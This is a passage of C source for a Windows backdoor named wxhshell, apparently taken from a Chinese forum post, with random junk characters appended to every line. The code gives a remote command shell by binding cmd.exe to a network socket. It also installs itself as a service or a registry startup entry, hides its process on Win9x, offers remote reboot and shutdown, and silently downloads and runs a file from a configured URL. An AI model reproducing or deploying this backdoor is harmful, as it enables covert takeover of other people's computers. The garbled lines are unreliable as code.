  else { />!!ch  
9rWLE6 `  
    switch(cmd[0]) { )x9]xqoR  
  iDR6?fP  
  // 帮助 > ";%2 u1  
  case '?': { "DzG Bu\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &}|0CR.(  
    break; ^~*8 @v""  
  } H>Sf[8w)%  
  // 安装 6DO0zNTY  
  case 'i': { }9 FD/  
    if(Install()) o5V`'[c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g` kZ T} h  
    else K5+!(5V~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %)dI2 J^Xf  
    break; :3 PGf  
    } -|$*l Q  
  // 卸载 e Ri!\Fx  
  case 'r': { _jk|}IB;X  
    if(Uninstall()) 3v G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o[2Y;kP3*P  
    else 1y(iE C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ] :GfOgo  
    break; |/2LWc?  
    } (S3jZ  
  // 显示 wxhshell 所在路径 `-5cQ2>"  
  case 'p': { hX %s]"  
    char svExeFile[MAX_PATH]; TR|;,A[%v#  
    strcpy(svExeFile,"\n\r"); ZG!x$ yi$  
      strcat(svExeFile,ExeFile); R$ v i!0  
        send(wsh,svExeFile,strlen(svExeFile),0); )e#fj+>x)  
    break; TLX^~W[gOm  
    } 7:ckq(89  
  // 重启 ]P JH'=  
  case 'b': { I_K[!4~Kn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fyGCfM  
    if(Boot(REBOOT)) *;Ak5.du  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @],Z 2  
    else { `2sdZ/fO  
    closesocket(wsh); .k p $oAL  
    ExitThread(0); ^]KIgGv\  
    } 8R BDJ  
    break; enWF7`  
    } yi&?d&rK  
  // 关机 _y|[Z;  
  case 'd': { AK %=DVkM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R+k=Ea&x  
    if(Boot(SHUTDOWN)) a_xQ~:H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d!w1t=2H  
    else { 0%#t[us Y  
    closesocket(wsh); EP/&m|o|G  
    ExitThread(0); 5wy;8a  
    } fHW-Je7mG  
    break; ![qRoYpbg8  
    } fdg[{T4:  
  // 获取shell XlE$.  
  case 's': { nz}]C04:-  
    CmdShell(wsh); J: L-15  
    closesocket(wsh); 5X0_+DdeL  
    ExitThread(0); u2f `|+1^y  
    break; bbM4A! N  
  } .Y+mwvLpRG  
  // 退出 Cq TH!'N  
  case 'x': { ]w5ji  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1 VPg`+o  
    CloseIt(wsh); U<1}I.hDJ  
    break; ngtuYASc  
    } t- !h X/  
  // 离开 p<<6}3~  
  case 'q': { iJ5e1R8tN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;|2U f   
    closesocket(wsh); S6= \r{V  
    WSACleanup(); 27}.s0{D  
    exit(1); 2K5}3<KD/  
    break; cq- e c7  
        } *G8'Fjin'T  
  } Qf/j:  
  } ,P;8 }yQ  
%?U"[F1  
  // 提示信息 =]8f"wAh*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :zRB)hd  
} c-? Ygr  
  } 1x^W'n,HtK  
7 3H@kf  
  return; IEKMa   
} C!CaGf=  
h[vAU 9f)  
// shell模块句柄 ke{DFq h  
int CmdShell(SOCKET sock) $Vd?K@W[h  
{ 6nM rO$i0k  
STARTUPINFO si; *g}vT8w'}  
ZeroMemory(&si,sizeof(si)); =>E44v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2 rbX8Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /&y,vkZTT  
PROCESS_INFORMATION ProcessInfo; ]W89.><%14  
char cmdline[]="cmd"; n=lggBRx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c80"8r  
  return 0; D N2hv2  
} C@l +\M(  
Zw3hp,P]  
// 自身启动模式 s|Imz<IE  
int StartFromService(void) {X{01j};8  
{ %Z-TbOX  
typedef struct Yj|c+&Ng  
{ &lOXi?&"  
  DWORD ExitStatus; +]aD^N9['  
  DWORD PebBaseAddress; w*]_FqE  
  DWORD AffinityMask; @]}Qh;a~  
  DWORD BasePriority; 3hp tP  
  ULONG UniqueProcessId; 7lnM|nD  
  ULONG InheritedFromUniqueProcessId; o.v,n1Nm  
}   PROCESS_BASIC_INFORMATION; Q*TQ*J7".X  
]~4}(\u  
PROCNTQSIP NtQueryInformationProcess; > 2!^ dT^D  
3|z;K,`Fw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XFLjVrX[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :Kt{t46)  
*<#]&2I  
  HANDLE             hProcess; %'K+$  
  PROCESS_BASIC_INFORMATION pbi; .)oQM:F (h  
?dATMmT-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NK*:w *SOI  
  if(NULL == hInst ) return 0; VLl&>Pbe-  
[U+<uZzOC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2/a04qA#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); FQv02V+&<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,cl"1>lp  
h0ZW,2?l  
  if (!NtQueryInformationProcess) return 0; ?Mgt5by  
]lG_rGw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  xLGTnMYd  
  if(!hProcess) return 0; RMs1{64:  
Rqv+N]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T`0`]z!~  
Mz% d_  
  CloseHandle(hProcess); ]xVL11p  
SO8|]Fk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @i1.5z  
if(hProcess==NULL) return 0; -f 'q  
8k*k  
HMODULE hMod; /eI,]CB'z  
char procName[255]; ]J0Y^dM  
unsigned long cbNeeded; ^O,6(@>  
xq#]n^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ) 2*|WHO  
$$)<(MP3  
  CloseHandle(hProcess); .WPuQZ!  
)Uoe ~\  
if(strstr(procName,"services")) return 1; // 以服务启动 /Wta$!X{-  
P89Dg/P  
  return 0; // 注册表启动 :W1tIB  
} )GF  
hyr5D9d  
// 主模块 _^,[wD  
int StartWxhshell(LPSTR lpCmdLine) RvZryA*vu  
{ 'ra_Zg[j  
  SOCKET wsl; `cy"-CJS  
BOOL val=TRUE; @b(gjOE  
  int port=0; d&3I>E$UP  
  struct sockaddr_in door; hKH Q!`&v  
A`mf 8'nTG  
  if(wscfg.ws_autoins) Install(); yp7,^l  
Phjf$\pt  
port=atoi(lpCmdLine); [eTck73  
kdZ-<O7@  
if(port<=0) port=wscfg.ws_port; >goAf`sqo  
V0wC@?  
  WSADATA data; .(.G`aKnF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gP"Mu#/D  
SJY"]7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T<_1|eH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e^ K=8IW  
  door.sin_family = AF_INET; Yc( )'6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2* cKFv{  
  door.sin_port = htons(port); FnU{C=P  
I "+|cFq.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 62KW HB9S  
closesocket(wsl); ,L;c{[*rh  
return 1; N'W >pU  
} Ij,?G*  
9dhFQWz"  
  if(listen(wsl,2) == INVALID_SOCKET) { S4AB tKG  
closesocket(wsl); I n%yMH8  
return 1; 1Y"y!\t7G  
} GCmVmOdKr  
  Wxhshell(wsl); Z6HkQ=A64  
  WSACleanup(); . KSr@Gz  
5&7?0h+I  
return 0; E*#60z7F  
A_$Mt~qKi^  
} d4rJ ?qw  
_}%# Yz  
// 以NT服务方式启动 */@bNT9BgO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^IegR>  
{ [!|d[  
DWORD   status = 0; !t [%'!v  
  DWORD   specificError = 0xfffffff; BsG[#4KM:  
&-. eu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 97=YFK~*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1Yx[,GyC>&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ry<}DK<u  
  serviceStatus.dwWin32ExitCode     = 0; XdXS^QA .s  
  serviceStatus.dwServiceSpecificExitCode = 0; ^i,0n}>  
  serviceStatus.dwCheckPoint       = 0; F[qI fh4  
  serviceStatus.dwWaitHint       = 0; YuZ   
x#xO {  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?p\II7   
  if (hServiceStatusHandle==0) return; 7m)ykq:?  
_|V+["IS  
status = GetLastError(); V,%5 hl'&  
  if (status!=NO_ERROR) %)@(T ye -  
{ 4%.2 =  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yeh adm\  
    serviceStatus.dwCheckPoint       = 0; k*+ZLrT  
    serviceStatus.dwWaitHint       = 0; oXOO 10  
    serviceStatus.dwWin32ExitCode     = status; `x^,k% :4  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6xQe!d3>s3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fP4IOlHkE  
    return; a5g{.:NfO  
  } $@!&ML  
?^A:~"~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,lGwW8$R  
  serviceStatus.dwCheckPoint       = 0; :a<TV9?H0  
  serviceStatus.dwWaitHint       = 0; %>}7 $Y%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z["nY&.sI  
} ~5?n&pF  
i!-sbwd7  
// 处理NT服务事件,比如:启动、停止 ,Onm!LI=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SNV+.xN  
{ gKH"f%lK  
switch(fdwControl) GHrT?zEX  
{ z Clm'X/  
case SERVICE_CONTROL_STOP: S:T>oFUot  
  serviceStatus.dwWin32ExitCode = 0; n`2"(7Wj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tqk6m# @(  
  serviceStatus.dwCheckPoint   = 0; `v+O5  
  serviceStatus.dwWaitHint     = 0; {Q3#]Vu  
  { i3!$M/_]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u>Kvub  
  } ?ew]i'9(  
  return; J A2}  
case SERVICE_CONTROL_PAUSE: ^bw~$*"j#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vX)Y%I  
  break; -5*;J&.  
case SERVICE_CONTROL_CONTINUE: ^x#RUv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KTREOOu .t  
  break; S~9kp?kR$  
case SERVICE_CONTROL_INTERROGATE: JO$]t|I  
  break; |?Uc:VFF  
}; B_G7F[/K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5?Ao9Q]@  
} s9dBXfm  
!f2>6}hE  
// 标准应用程序主函数 OnJSu z>-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P+l^Ep8P  
{ +:8YMM#9V  
O&RHCR-\  
// 获取操作系统版本 >R0j<:p :  
OsIsNt=GetOsVer(); ?(hQZR 0e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YLd%"H $n  
`I<|*vW u  
  // 从命令行安装 #FM 'S|  
  if(strpbrk(lpCmdLine,"iI")) Install(); O!yn `< l  
^^(ZK 6d  
  // 下载执行文件 _!Q\Xn  
if(wscfg.ws_downexe) { ]8z6gDp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'vClZGQ1  
  WinExec(wscfg.ws_filenam,SW_HIDE); mTbPz Z4  
} ;]ew>P)  
FCAu%lvZT  
if(!OsIsNt) { FNO lR>0e  
// 如果时win9x,隐藏进程并且设置为注册表启动 Vp94mi#L }  
HideProc(); =l_"M  
StartWxhshell(lpCmdLine); f%l#g]]  
} : s3Vl  
else 9e6{(  
  if(StartFromService()) 0w&1wee(  
  // 以服务方式启动 >U.uRq  
  StartServiceCtrlDispatcher(DispatchTable); 8#AXK{  
else PUo&>  
  // 普通方式启动 OOwJ3I >]>  
  StartWxhshell(lpCmdLine); q+Q)IVaU81  
,g.=vQm:?  
return 0; h2snGN/{Hb  
}
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只看该作者 1 发表于: 2006-10-10
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